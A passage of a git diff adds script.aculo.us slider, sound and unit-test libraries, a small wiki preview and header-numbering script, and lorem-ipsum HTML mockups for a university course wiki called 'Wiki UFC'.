this.translateToPx(range.start); + span.style.width = this.translateToPx(range.end - range.start + this.range.start); + } + }, + updateStyles: function() { + this.handles.each( function(h){ Element.removeClassName(h, 'selected') }); + Element.addClassName(this.activeHandle, 'selected'); + }, + startDrag: function(event) { + if(Event.isLeftClick(event)) { + if(!this.disabled){ + this.active = true; + + var handle = Event.element(event); + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var track = handle; + if(track==this.track) { + var offsets = Position.cumulativeOffset(this.track); + this.event = event; + this.setValue(this.translateToValue( + (this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2) + )); + var offsets = Position.cumulativeOffset(this.activeHandle); + this.offsetX = (pointer[0] - offsets[0]); + this.offsetY = (pointer[1] - offsets[1]); + } else { + // find the handle (prevents issues with Safari) + while((this.handles.indexOf(handle) == -1) && handle.parentNode) + handle = handle.parentNode; + + if(this.handles.indexOf(handle)!=-1) { + this.activeHandle = handle; + this.activeHandleIdx = this.handles.indexOf(this.activeHandle); + this.updateStyles(); + + var offsets = Position.cumulativeOffset(this.activeHandle); + this.offsetX = (pointer[0] - offsets[0]); + this.offsetY = (pointer[1] - offsets[1]); + } + } + } + Event.stop(event); + } + }, + update: function(event) { + if(this.active) { + if(!this.dragging) this.dragging = true; + this.draw(event); + if(Prototype.Browser.WebKit) window.scrollBy(0,0); + Event.stop(event); + } + }, + draw: function(event) { + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var offsets = Position.cumulativeOffset(this.track); + pointer[0] -= this.offsetX + offsets[0]; + pointer[1] -= this.offsetY + offsets[1]; + this.event = event; + this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] )); + if(this.initialized && this.options.onSlide) + this.options.onSlide(this.values.length>1 ? this.values : this.value, this); + }, + endDrag: function(event) { + if(this.active && this.dragging) { + this.finishDrag(event, true); + Event.stop(event); + } + this.active = false; + this.dragging = false; + }, + finishDrag: function(event, success) { + this.active = false; + this.dragging = false; + this.updateFinished(); + }, + updateFinished: function() { + if(this.initialized && this.options.onChange) + this.options.onChange(this.values.length>1 ? this.values : this.value, this); + this.event = null; + } +} \ No newline at end of file diff --git a/public/javascripts/lib/sound.js b/public/javascripts/lib/sound.js new file mode 100644 index 0000000..164c79a --- /dev/null +++ b/public/javascripts/lib/sound.js @@ -0,0 +1,60 @@ +// script.aculo.us sound.js v1.7.1_beta3, Fri May 25 17:19:41 +0200 2007 + +// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// +// Based on code created by Jules Gravinese (http://www.webveteran.com/) +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +Sound = { + tracks: {}, + _enabled: true, + template: + new Template(''), + enable: function(){ + Sound._enabled = true; + }, + disable: function(){ + Sound._enabled = false; + }, + play: function(url){ + if(!Sound._enabled) return; + var options = Object.extend({ + track: 'global', url: url, replace: false + }, arguments[1] || {}); + + if(options.replace && this.tracks[options.track]) { + $R(0, this.tracks[options.track].id).each(function(id){ + var sound = $('sound_'+options.track+'_'+id); + sound.Stop && sound.Stop(); + sound.remove(); + }) + this.tracks[options.track] = null; + } + + if(!this.tracks[options.track]) + this.tracks[options.track] = { id: 0 } + else + this.tracks[options.track].id++; + + options.id = this.tracks[options.track].id; + if (Prototype.Browser.IE) { + var sound = document.createElement('bgsound'); + sound.setAttribute('id','sound_'+options.track+'_'+options.id); + sound.setAttribute('src',options.url); + sound.setAttribute('loop','1'); + sound.setAttribute('autostart','true'); + $$('body')[0].appendChild(sound); + } + else + new Insertion.Bottom($$('body')[0], Sound.template.evaluate(options)); + } +}; + +if(Prototype.Browser.Gecko && navigator.userAgent.indexOf("Win") > 0){ + if(navigator.plugins && $A(navigator.plugins).detect(function(p){ return p.name.indexOf('QuickTime') != -1 })) + Sound.template = new Template('') + else + Sound.play = function(){} +} diff --git a/public/javascripts/lib/unittest.js b/public/javascripts/lib/unittest.js new file mode 100644 index 0000000..d2dff8b --- /dev/null +++ b/public/javascripts/lib/unittest.js @@ -0,0 +1,564 @@ +// script.aculo.us unittest.js v1.7.1_beta3, Fri May 25 17:19:41 +0200 2007 + +// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005-2007 Jon Tirsen (http://www.tirsen.com) +// (c) 2005-2007 Michael Schuerig (http://www.schuerig.de/michael/) +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +// experimental, Firefox-only +Event.simulateMouse = function(element, eventName) { + var options = Object.extend({ + pointerX: 0, + pointerY: 0, + buttons: 0, + ctrlKey: false, + altKey: false, + shiftKey: false, + metaKey: false + }, arguments[2] || {}); + var oEvent = document.createEvent("MouseEvents"); + oEvent.initMouseEvent(eventName, true, true, document.defaultView, + options.buttons, options.pointerX, options.pointerY, options.pointerX, options.pointerY, + options.ctrlKey, options.altKey, options.shiftKey, options.metaKey, 0, $(element)); + + if(this.mark) Element.remove(this.mark); + this.mark = document.createElement('div'); + this.mark.appendChild(document.createTextNode(" ")); + document.body.appendChild(this.mark); + this.mark.style.position = 'absolute'; + this.mark.style.top = options.pointerY + "px"; + this.mark.style.left = options.pointerX + "px"; + this.mark.style.width = "5px"; + this.mark.style.height = "5px;"; + this.mark.style.borderTop = "1px solid red;" + this.mark.style.borderLeft = "1px solid red;" + + if(this.step) + alert('['+new Date().getTime().toString()+'] '+eventName+'/'+Test.Unit.inspect(options)); + + $(element).dispatchEvent(oEvent); +}; + +// Note: Due to a fix in Firefox 1.0.5/6 that probably fixed "too much", this doesn't work in 1.0.6 or DP2. +// You need to downgrade to 1.0.4 for now to get this working +// See https://bugzilla.mozilla.org/show_bug.cgi?id=289940 for the fix that fixed too much +Event.simulateKey = function(element, eventName) { + var options = Object.extend({ + ctrlKey: false, + altKey: false, + shiftKey: false, + metaKey: false, + keyCode: 0, + charCode: 0 + }, arguments[2] || {}); + + var oEvent = document.createEvent("KeyEvents"); + oEvent.initKeyEvent(eventName, true, true, window, + options.ctrlKey, options.altKey, options.shiftKey, options.metaKey, + options.keyCode, options.charCode ); + $(element).dispatchEvent(oEvent); +}; + +Event.simulateKeys = function(element, command) { + for(var i=0; i' + + '' + + '' + + '' + + '
    StatusTestMessage
    '; + this.logsummary = $('logsummary') + this.loglines = $('loglines'); + }, + _toHTML: function(txt) { + return txt.escapeHTML().replace(/\n/g,"
    "); + }, + addLinksToResults: function(){ + $$("tr.failed .nameCell").each( function(td){ // todo: limit to children of this.log + td.title = "Run only this test" + Event.observe(td, 'click', function(){ window.location.search = "?tests=" + td.innerHTML;}); + }); + $$("tr.passed .nameCell").each( function(td){ // todo: limit to children of this.log + td.title = "Run all tests" + Event.observe(td, 'click', function(){ window.location.search = "";}); + }); + } +} + +Test.Unit.Runner = Class.create(); +Test.Unit.Runner.prototype = { + initialize: function(testcases) { + this.options = Object.extend({ + testLog: 'testlog' + }, arguments[1] || {}); + this.options.resultsURL = this.parseResultsURLQueryParameter(); + this.options.tests = this.parseTestsQueryParameter(); + if (this.options.testLog) { + this.options.testLog = $(this.options.testLog) || null; + } + if(this.options.tests) { + this.tests = []; + for(var i = 0; i < this.options.tests.length; i++) { + if(/^test/.test(this.options.tests[i])) { + this.tests.push(new Test.Unit.Testcase(this.options.tests[i], testcases[this.options.tests[i]], testcases["setup"], testcases["teardown"])); + } + } + } else { + if (this.options.test) { + this.tests = [new Test.Unit.Testcase(this.options.test, testcases[this.options.test], testcases["setup"], testcases["teardown"])]; + } else { + this.tests = []; + for(var testcase in testcases) { + if(/^test/.test(testcase)) { + this.tests.push( + new Test.Unit.Testcase( + this.options.context ? ' -> ' + this.options.titles[testcase] : testcase, + testcases[testcase], testcases["setup"], testcases["teardown"] + )); + } + } + } + } + this.currentTest = 0; + this.logger = new Test.Unit.Logger(this.options.testLog); + setTimeout(this.runTests.bind(this), 1000); + }, + parseResultsURLQueryParameter: function() { + return window.location.search.parseQuery()["resultsURL"]; + }, + parseTestsQueryParameter: function(){ + if (window.location.search.parseQuery()["tests"]){ + return window.location.search.parseQuery()["tests"].split(','); + }; + }, + // Returns: + // "ERROR" if there was an error, + // "FAILURE" if there was a failure, or + // "SUCCESS" if there was neither + getResult: function() { + var hasFailure = false; + for(var i=0;i 0) { + return "ERROR"; + } + if (this.tests[i].failures > 0) { + hasFailure = true; + } + } + if (hasFailure) { + return "FAILURE"; + } else { + return "SUCCESS"; + } + }, + postResults: function() { + if (this.options.resultsURL) { + new Ajax.Request(this.options.resultsURL, + { method: 'get', parameters: 'result=' + this.getResult(), asynchronous: false }); + } + }, + runTests: function() { + var test = this.tests[this.currentTest]; + if (!test) { + // finished! + this.postResults(); + this.logger.summary(this.summary()); + return; + } + if(!test.isWaiting) { + this.logger.start(test.name); + } + test.run(); + if(test.isWaiting) { + this.logger.message("Waiting for " + test.timeToWait + "ms"); + setTimeout(this.runTests.bind(this), test.timeToWait || 1000); + } else { + this.logger.finish(test.status(), test.summary()); + this.currentTest++; + // tail recursive, hopefully the browser will skip the stackframe + this.runTests(); + } + }, + summary: function() { + var assertions = 0; + var failures = 0; + var errors = 0; + var messages = []; + for(var i=0;i 0) return 'failed'; + if (this.errors > 0) return 'error'; + return 'passed'; + }, + assert: function(expression) { + var message = arguments[1] || 'assert: got "' + Test.Unit.inspect(expression) + '"'; + try { expression ? this.pass() : + this.fail(message); } + catch(e) { this.error(e); } + }, + assertEqual: function(expected, actual) { + var message = arguments[2] || "assertEqual"; + try { (expected == actual) ? this.pass() : + this.fail(message + ': expected "' + Test.Unit.inspect(expected) + + '", actual "' + Test.Unit.inspect(actual) + '"'); } + catch(e) { this.error(e); } + }, + assertInspect: function(expected, actual) { + var message = arguments[2] || "assertInspect"; + try { (expected == actual.inspect()) ? this.pass() : + this.fail(message + ': expected "' + Test.Unit.inspect(expected) + + '", actual "' + Test.Unit.inspect(actual) + '"'); } + catch(e) { this.error(e); } + }, + assertEnumEqual: function(expected, actual) { + var message = arguments[2] || "assertEnumEqual"; + try { $A(expected).length == $A(actual).length && + expected.zip(actual).all(function(pair) { return pair[0] == pair[1] }) ? + this.pass() : this.fail(message + ': expected ' + Test.Unit.inspect(expected) + + ', actual ' + Test.Unit.inspect(actual)); } + catch(e) { this.error(e); } + }, + assertNotEqual: function(expected, actual) { + var message = arguments[2] || "assertNotEqual"; + try { (expected != actual) ? this.pass() : + this.fail(message + ': got "' + Test.Unit.inspect(actual) + '"'); } + catch(e) { this.error(e); } + }, + assertIdentical: function(expected, actual) { + var message = arguments[2] || "assertIdentical"; + try { (expected === actual) ? this.pass() : + this.fail(message + ': expected "' + Test.Unit.inspect(expected) + + '", actual "' + Test.Unit.inspect(actual) + '"'); } + catch(e) { this.error(e); } + }, + assertNotIdentical: function(expected, actual) { + var message = arguments[2] || "assertNotIdentical"; + try { !(expected === actual) ? this.pass() : + this.fail(message + ': expected "' + Test.Unit.inspect(expected) + + '", actual "' + Test.Unit.inspect(actual) + '"'); } + catch(e) { this.error(e); } + }, + assertNull: function(obj) { + var message = arguments[1] || 'assertNull' + try { (obj==null) ? this.pass() : + this.fail(message + ': got "' + Test.Unit.inspect(obj) + '"'); } + catch(e) { this.error(e); } + }, + assertMatch: function(expected, actual) { + var message = arguments[2] || 'assertMatch'; + var regex = new RegExp(expected); + try { (regex.exec(actual)) ? this.pass() : + this.fail(message + ' : regex: "' + Test.Unit.inspect(expected) + ' did not match: ' + Test.Unit.inspect(actual) + '"'); } + catch(e) { this.error(e); } + }, + assertHidden: function(element) { + var message = arguments[1] || 'assertHidden'; + this.assertEqual("none", element.style.display, message); + }, + assertNotNull: function(object) { + var message = arguments[1] || 'assertNotNull'; + this.assert(object != null, message); + }, + assertType: function(expected, actual) { + var message = arguments[2] || 'assertType'; + try { + (actual.constructor == expected) ? this.pass() : + this.fail(message + ': expected "' + Test.Unit.inspect(expected) + + '", actual "' + (actual.constructor) + '"'); } + catch(e) { this.error(e); } + }, + assertNotOfType: function(expected, actual) { + var message = arguments[2] || 'assertNotOfType'; + try { + (actual.constructor != expected) ? this.pass() : + this.fail(message + ': expected "' + Test.Unit.inspect(expected) + + '", actual "' + (actual.constructor) + '"'); } + catch(e) { this.error(e); } + }, + assertInstanceOf: function(expected, actual) { + var message = arguments[2] || 'assertInstanceOf'; + try { + (actual instanceof expected) ? this.pass() : + this.fail(message + ": object was not an instance of the expected type"); } + catch(e) { this.error(e); } + }, + assertNotInstanceOf: function(expected, actual) { + var message = arguments[2] || 'assertNotInstanceOf'; + try { + !(actual instanceof expected) ? this.pass() : + this.fail(message + ": object was an instance of the not expected type"); } + catch(e) { this.error(e); } + }, + assertRespondsTo: function(method, obj) { + var message = arguments[2] || 'assertRespondsTo'; + try { + (obj[method] && typeof obj[method] == 'function') ? this.pass() : + this.fail(message + ": object doesn't respond to [" + method + "]"); } + catch(e) { this.error(e); } + }, + assertReturnsTrue: function(method, obj) { + var message = arguments[2] || 'assertReturnsTrue'; + try { + var m = obj[method]; + if(!m) m = obj['is'+method.charAt(0).toUpperCase()+method.slice(1)]; + m() ? this.pass() : + this.fail(message + ": method returned false"); } + catch(e) { this.error(e); } + }, + assertReturnsFalse: function(method, obj) { + var message = arguments[2] || 'assertReturnsFalse'; + try { + var m = obj[method]; + if(!m) m = obj['is'+method.charAt(0).toUpperCase()+method.slice(1)]; + !m() ? this.pass() : + this.fail(message + ": method returned true"); } + catch(e) { this.error(e); } + }, + assertRaise: function(exceptionName, method) { + var message = arguments[2] || 'assertRaise'; + try { + method(); + this.fail(message + ": exception expected but none was raised"); } + catch(e) { + ((exceptionName == null) || (e.name==exceptionName)) ? this.pass() : this.error(e); + } + }, + assertElementsMatch: function() { + var expressions = $A(arguments), elements = $A(expressions.shift()); + if (elements.length != expressions.length) { + this.fail('assertElementsMatch: size mismatch: ' + elements.length + ' elements, ' + expressions.length + ' expressions'); + return false; + } + elements.zip(expressions).all(function(pair, index) { + var element = $(pair.first()), expression = pair.last(); + if (element.match(expression)) return true; + this.fail('assertElementsMatch: (in index ' + index + ') expected ' + expression.inspect() + ' but got ' + element.inspect()); + }.bind(this)) && this.pass(); + }, + assertElementMatches: function(element, expression) { + this.assertElementsMatch([element], expression); + }, + benchmark: function(operation, iterations) { + var startAt = new Date(); + (iterations || 1).times(operation); + var timeTaken = ((new Date())-startAt); + this.info((arguments[2] || 'Operation') + ' finished ' + + iterations + ' iterations in ' + (timeTaken/1000)+'s' ); + return timeTaken; + }, + _isVisible: function(element) { + element = $(element); + if(!element.parentNode) return true; + this.assertNotNull(element); + if(element.style && Element.getStyle(element, 'display') == 'none') + return false; + + return this._isVisible(element.parentNode); + }, + assertNotVisible: function(element) { + this.assert(!this._isVisible(element), Test.Unit.inspect(element) + " was not hidden and didn't have a hidden parent either. " + ("" || arguments[1])); + }, + assertVisible: function(element) { + this.assert(this._isVisible(element), Test.Unit.inspect(element) + " was not visible. " + ("" || arguments[1])); + }, + benchmark: function(operation, iterations) { + var startAt = new Date(); + (iterations || 1).times(operation); + var timeTaken = ((new Date())-startAt); + this.info((arguments[2] || 'Operation') + ' finished ' + + iterations + ' iterations in ' + (timeTaken/1000)+'s' ); + return timeTaken; + } +} + +Test.Unit.Testcase = Class.create(); +Object.extend(Object.extend(Test.Unit.Testcase.prototype, Test.Unit.Assertions.prototype), { + initialize: function(name, test, setup, teardown) { + Test.Unit.Assertions.prototype.initialize.bind(this)(); + this.name = name; + + if(typeof test == 'string') { + test = test.gsub(/(\.should[^\(]+\()/,'#{0}this,'); + test = test.gsub(/(\.should[^\(]+)\(this,\)/,'#{1}(this)'); + this.test = function() { + eval('with(this){'+test+'}'); + } + } else { + this.test = test || function() {}; + } + + this.setup = setup || function() {}; + this.teardown = teardown || function() {}; + this.isWaiting = false; + this.timeToWait = 1000; + }, + wait: function(time, nextPart) { + this.isWaiting = true; + this.test = nextPart; + this.timeToWait = time; + }, + run: function() { + try { + try { + if (!this.isWaiting) this.setup.bind(this)(); + this.isWaiting = false; + this.test.bind(this)(); + } finally { + if(!this.isWaiting) { + this.teardown.bind(this)(); + } + } + } + catch(e) { this.error(e); } + } +}); + +// *EXPERIMENTAL* BDD-style testing to please non-technical folk +// This draws many ideas from RSpec http://rspec.rubyforge.org/ + +Test.setupBDDExtensionMethods = function(){ + var METHODMAP = { + shouldEqual: 'assertEqual', + shouldNotEqual: 'assertNotEqual', + shouldEqualEnum: 'assertEnumEqual', + shouldBeA: 'assertType', + shouldNotBeA: 'assertNotOfType', + shouldBeAn: 'assertType', + shouldNotBeAn: 'assertNotOfType', + shouldBeNull: 'assertNull', + shouldNotBeNull: 'assertNotNull', + + shouldBe: 'assertReturnsTrue', + shouldNotBe: 'assertReturnsFalse', + shouldRespondTo: 'assertRespondsTo' + }; + Test.BDDMethods = {}; + for(m in METHODMAP) { + Test.BDDMethods[m] = eval( + 'function(){'+ + 'var args = $A(arguments);'+ + 'var scope = args.shift();'+ + 'scope.'+METHODMAP[m]+'.apply(scope,(args || []).concat([this])); }'); + } + [Array.prototype, String.prototype, Number.prototype].each( + function(p){ Object.extend(p, Test.BDDMethods) } + ); +} + +Test.context = function(name, spec, log){ + Test.setupBDDExtensionMethods(); + + var compiledSpec = {}; + var titles = {}; + for(specName in spec) { + switch(specName){ + case "setup": + case "teardown": + compiledSpec[specName] = spec[specName]; + break; + default: + var testName = 'test'+specName.gsub(/\s+/,'-').camelize(); + var body = spec[specName].toString().split('\n').slice(1); + if(/^\{/.test(body[0])) body = body.slice(1); + body.pop(); + body = body.map(function(statement){ + return statement.strip() + }); + compiledSpec[testName] = body.join('\n'); + titles[testName] = specName; + } + } + new Test.Unit.Runner(compiledSpec, { titles: titles, testLog: log || 'testlog', context: name }); +}; \ No newline at end of file diff --git a/public/javascripts/wiki.js b/public/javascripts/wiki.js new file mode 100644 index 0000000..53330a9 --- /dev/null +++ b/public/javascripts/wiki.js @@ -0,0 +1,72 @@ +events['#show_preview:click'] = function(element, e) +{ + spinner_start("preview"); + + new Ajax.Updater('wiki_preview', '/services/preview', { + parameters: { + text: $$('textarea')[0].value + }, + onComplete: function() { + spinner_stop("preview"); + Element.show('wiki_preview'); + new Effect.ScrollTo('wiki_preview'); + } + }); + + Event.stop(e); +}; + +function enumerate_headers() +{ + elems = $('wiki_text').childElements(); + + count = 0; + headers = []; + elems.each(function(item) { + if(item.match('h1') || item.match('h2') || item.match('h3') || item.match('h4') || item.match('h5')) { + headers[count++] = item + } + }); + + c1 = 0; + c2 = 0; + c3 = 0; + c4 = 0; + c5 = 0; + ignore = 0; + + if(headers.size() - ignore <= 3) return; + + headers.each(function(item) + { + if(ignore-- > 0) return; + + text = item.innerHTML; + if(item.match('h1')) { + text = (++c1) + ". " + text; + c2 = c3 = c4 = c5 = 0; + } + + if(item.match('h2')) { + text = c1 + "." + (++c2) + " " + text; + c3 = c4 = c5 = 0; + } + + if(item.match('h3')) { + text = c1 + "." + c2 + "." + (++c3) + " " + text; + c4 = c5 = 0; + } + + if(item.match('h4')) { + text = c1 + "." + c2 + "." + c3 + "." + (++c4) + " " + text; + c5 = 0; + } + + if(item.match('h5')) { + text = c2 + "." + c3 + "." + c5 + "." + (++c5) + " " + text; + } + + item.innerHTML = text; + }); +} + diff --git a/public/prototype/disciplina_home.html b/public/prototype/disciplina_home.html new file mode 100644 index 0000000..7e7099f --- /dev/null +++ b/public/prototype/disciplina_home.html @@ -0,0 +1,132 @@ + + + + Wiki UFC + + + + + +
    + + +
    + + + +
    + +
    + + +
    + +
    + + +
    + +
    +
    +

    Disciplina

    +

    Métodos Numericos II

    + +

    Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Praesent pretium, + orci at imperdiet porttitor, felis nisl congue sem, in ornare felis ante sed + nibh. Vestibulum scelerisque placerat dui. Etiam ligula urna, accumsan nec, + sagittis et, bibendum vitae, mi. Suspendisse eu dolor. Quisque feugiat diam at + turpis. Curabitur sit amet odio. Cras luctus magna et lacus. Nunc vehicula urna + nec nisi. Nullam vulputate. Nullam nec lorem. Nunc venenatis mollis tortor.

    + + + +
    +

    Repositório de Arquivos

    + +
    + +

    Maecenas tristique quam a quam. Fusce augue nulla, rhoncus in, luctus a, + feugiat in, massa. Pellentesque id lorem ut libero iaculis scelerisque. Aenean + aliquet, metus vitae pharetra rutrum, diam quam porta mi, at cursus purus lacus + id nunc. In tortor tellus, hendrerit ut, malesuada vehicula, placerat gravida, + orci. Donec ac eros. Maecenas dolor diam, lobortis sit amet, congue vel, + molestie non, urna. Suspendisse potenti. Aliquam mi ligula, luctus eu, cursus + vitae, tincidunt sit amet, magna. In et neque. Aliquam eu magna quis ligula + elementum fringilla. Aliquam adipiscing dignissim nulla.

    + +

    Etiam commodo venenatis leo. Aliquam sodales. Phasellus quis nunc in leo + porttitor imperdiet. Nulla adipiscing varius diam. Duis nec metus. Fusce vel + risus ac metus aliquam elementum. In semper velit. Nam dignissim + diam. Nulla facilisi. Pellentesque habitant morbi tristique senectus et netus et + malesuada fames ac turpis egestas. Nulla volutpat imperdiet arcu. Quisque + placerat ipsum ac metus.

    +
    +
    +
    + +
    +
    + + +
    + + diff --git a/public/prototype/disciplina_home_2.html b/public/prototype/disciplina_home_2.html new file mode 100644 index 0000000..2df6386 --- /dev/null +++ b/public/prototype/disciplina_home_2.html @@ -0,0 +1,147 @@ + + + + Wiki UFC + + + + + +
    + + +
    + + + +
    + +
    + + +
    + +
    + + +
    + +
    +
    +

    Disciplina

    +

    Métodos Numericos II

    + +

    Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Praesent pretium, + orci at imperdiet porttitor, felis nisl congue sem, in ornare felis ante sed + nibh. Vestibulum scelerisque placerat dui. Etiam ligula urna, accumsan nec, + sagittis et, bibendum vitae, mi. Suspendisse eu dolor. Quisque feugiat diam at + turpis. Curabitur sit amet odio. Cras luctus magna et lacus. Nunc vehicula urna + nec nisi. Nullam vulputate. Nullam nec lorem. Nunc venenatis mollis tortor.

    + + + + + +
    +

    Repositório de Arquivos

    + + +

    Maecenas tristique quam a quam. Fusce augue nulla, rhoncus in, luctus a, + feugiat in, massa. Pellentesque id lorem ut libero iaculis scelerisque. Aenean + aliquet, metus vitae pharetra rutrum, diam quam porta mi, at cursus purus lacus + id nunc. In tortor tellus, hendrerit ut, malesuada vehicula, placerat gravida, + orci. Donec ac eros. Maecenas dolor diam, lobortis sit amet, congue vel, + molestie non, urna. Suspendisse potenti. Aliquam mi ligula, luctus eu, cursus + vitae, tincidunt sit amet, magna. In et neque. Aliquam eu magna quis ligula + elementum fringilla. Aliquam adipiscing dignissim nulla.

    + +

    Etiam commodo venenatis leo. Aliquam sodales. Phasellus quis nunc in leo + porttitor imperdiet. Nulla adipiscing varius diam. Duis nec metus. Fusce vel + risus ac metus aliquam elementum. In semper velit. Nam dignissim + diam. Nulla facilisi. Pellentesque habitant morbi tristique senectus et netus et + malesuada fames ac turpis egestas. Nulla volutpat imperdiet arcu. Quisque + placerat ipsum ac metus.

    +
    +
    +
    + +
    +
    + + +
    + + diff --git a/public/prototype/disciplina_wiki.html b/public/prototype/disciplina_wiki.html new file mode 100644 index 0000000..184f44c --- /dev/null +++ b/public/prototype/disciplina_wiki.html @@ -0,0 +1,184 @@ + + + + Wiki UFC + + + + + +
    + + +
    + + + +
    + +
    + + +
    + + + +
    +
    + + +

    Processos Estocásticos

    + +

    Aula 5: Variáveis Aleatórias

    Lorem ipsum dolor sit amet, + consectetuer adipiscing elit. Praesent pretium, orci at imperdiet porttitor, + felis nisl congue sem, in ornare felis ante sed nibh. Vestibulum scelerisque + placerat dui. Etiam ligula urna, accumsan nec, sagittis et, bibendum vitae, mi. + Suspendisse eu dolor. Quisque feugiat diam at turpis. Curabitur sit amet odio. + Cras luctus magna et lacus. Nunc vehicula urna nec nisi. Nullam vulputate. + Nullam nec lorem. Nunc venenatis mollis tortor.

    + + + +

    1. Introdução

    Class aptent taciti sociosqu ad litora torquent per + conubia nostra, per inceptos hymenaeos. Nullam leo. Aliquam convallis molestie + tellus. Donec ullamcorper cursus diam. Sed eleifend velit ut lectus. Sed mattis, + urna vitae vulputate malesuada, dui purus eleifend nunc, at + elementum sapien nulla et justo. In placerat est vel mauris. Maecenas nibh. + Maecenas molestie erat eget quam. Nam at sapien in felis pellentesque viverra. + Curabitur auctor felis vitae odio. Morbi condimentum velit ac lorem. Vestibulum + ligula neque, sollicitudin vitae, placerat eget, feugiat nec, libero. Donec non + odio. Aliquam luctus, lacus quis mollis vulputate, sapien magna fermentum + libero, eu condimentum turpis purus sed tellus.

    + +

    2. Definições

    Maecenas tristique quam a quam. Fusce augue nulla, + rhoncus in, luctus a, feugiat in, massa. Pellentesque id lorem ut libero + iaculis scelerisque. Aenean aliquet, metus vitae pharetra rutrum, diam quam + porta mi, at cursus purus lacus id nunc. In tortor tellus, hendrerit ut, + malesuada vehicula, placerat gravida, orci. Donec ac eros. Maecenas dolor diam, + lobortis sit amet, congue vel, molestie non, urna. Suspendisse potenti. Aliquam + mi ligula, luctus eu, cursus vitae, tincidunt sit amet, magna. In et neque. + Aliquam eu magna quis ligula elementum fringilla. Aliquam adipiscing dignissim + nulla.

    + +

    3. Distribuição Binomial

    Etiam commodo venenatis leo. Aliquam + sodales. Phasellus quis nunc in leo porttitor imperdiet. Nulla adipiscing varius + diam. Duis nec metus. Fusce vel risus ac metus aliquam elementum. In semper velit. Nam dignissim diam. Nulla facilisi. Pellentesque + habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. + Nulla volutpat imperdiet arcu. Quisque placerat ipsum ac metus.

    + +

    3.1. Exemplo

    Class aptent taciti sociosqu ad per conubia nostra, per + inceptos hymenaeos. Nullam leo. Aliquam convallis molestie tellus. Donec + ullamcorper cursus diam. Sed eleifend velit ut lectus. Sed mattis, urna vitae vulputate malesuada, dui purus eleifend nunc, at + elementum sapien nulla et justo. In placerat est vel mauris. Maecenas nibh. + Maecenas molestie erat eget quam. Nam at sapien in felis pellentesque viverra. + Curabitur auctor felis vitae odio. Morbi condimentum velit ac lorem. Vestibulum + ligula neque, sollicitudin vitae, placerat eget, feugiat nec, libero. Donec non + odio. Aliquam luctus, lacus quis mollis vulputate, sapien magna fermentum + libero, eu condimentum turpis purus sed tellus.

    + +

    3.1.2. Calculando o limite inferior

    Etiam commodo venenatis leo. + Aliquam sodales. Phasellus quis nunc in leo porttitor imperdiet. Nulla + adipiscing varius diam. Duis nec metus. Fusce vel risus ac metus aliquam + elementum. In semper velit. Nam dignissim diam. Nulla facilisi. + Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac + turpis egestas. Nulla volutpat imperdiet arcu. Quisque placerat ipsum ac metus. +

    + +
    + +

    Maecenas tristique quam a quam. Fusce augue nulla. Pellentesque id lorem ut + libero iaculis scelerisque. Aenean aliquet, metus vitae pharetra rutrum, diam + quam porta mi, at cursus purus lacus id nunc. In tortor tellus, hendrerit ut, + malesuada vehicula, placerat gravida, orci. Donec ac eros. Maecenas dolor diam, + lobortis sit amet, congue vel, molestie non, urna. Suspendisse potenti. Aliquam + mi ligula, luctus eu, cursus vitae, tincidunt sit amet, magna. In et neque. + Aliquam eu magna quis ligula elementum fringilla. Aliquam adipiscing dignissim + nulla.

    + +
      +
    1. Rhoncus in,
    2. +
    3. Luctus a,
    4. +
    5. Feugiat in, massa.
    6. +
    + +

    Etiam commodo venenatis leo. Aliquam sodales. Phasellus quis nunc in leo + porttitor imperdiet. Nulla adipiscing varius diam. Duis nec metus. Fusce vel + risus ac metus aliquam elementum. In semper velit. Nam dignissim + diam. Nulla facilisi. Pellentesque habitant morbi tristique senectus et netus et + malesuada fames ac turpis egestas. Nulla volutpat imperdiet arcu. Quisque + placerat ipsum ac metus.

    + +
    +
    +
    + +
    +
    + + +
    + + diff --git a/public/prototype/latex.png b/public/prototype/latex.png new file mode 100644 index 0000000..0618cc1 Binary files /dev/null and b/public/prototype/latex.png differ diff --git a/public/prototype/line.png b/public/prototype/line.png new file mode 100644 index 0000000..8990af6 Binary files /dev/null and b/public/prototype/line.png differ diff --git a/public/prototype/wiki.html b/public/prototype/wiki.html new file mode 100644 index 0000000..65368a1 --- /dev/null +++ b/public/prototype/wiki.html @@ -0,0 +1,128 @@ + + + + Wiki UFC + + + + + +
    + + +
    + + + +
    + +
    + + +
    + + + +
    +
    + + +

    Processos Estocásticos

    +

    Aula 5: Variáveis Aleatórias

    +

    Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Praesent pretium, orci at imperdiet porttitor, felis nisl congue sem, in ornare felis ante sed nibh. Vestibulum scelerisque placerat dui. Etiam ligula urna, accumsan nec, sagittis et, bibendum vitae, mi. Suspendisse eu dolor. Quisque feugiat diam at turpis. Curabitur sit amet odio. Cras luctus magna et lacus. Nunc vehicula urna nec nisi. Nullam vulputate. Nullam nec lorem. Nunc venenatis mollis tortor.

    + + + +

    1. Introdução

    +

    Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos hymenaeos. Nullam leo. Aliquam convallis molestie tellus. Donec ullamcorper cursus diam. Sed eleifend velit ut lectus. Sed mattis, urna vitae vulputate malesuada, dui purus eleifend nunc, at elementum sapien nulla et justo. In placerat est vel mauris. Maecenas nibh. Maecenas molestie erat eget quam. Nam at sapien in felis pellentesque viverra. Curabitur auctor felis vitae odio. Morbi condimentum velit ac lorem. Vestibulum ligula neque, sollicitudin vitae, placerat eget, feugiat nec, libero. Donec non odio. Aliquam luctus, lacus quis mollis vulputate, sapien magna fermentum libero, eu condimentum turpis purus sed tellus.

    + +

    2. Definições

    +

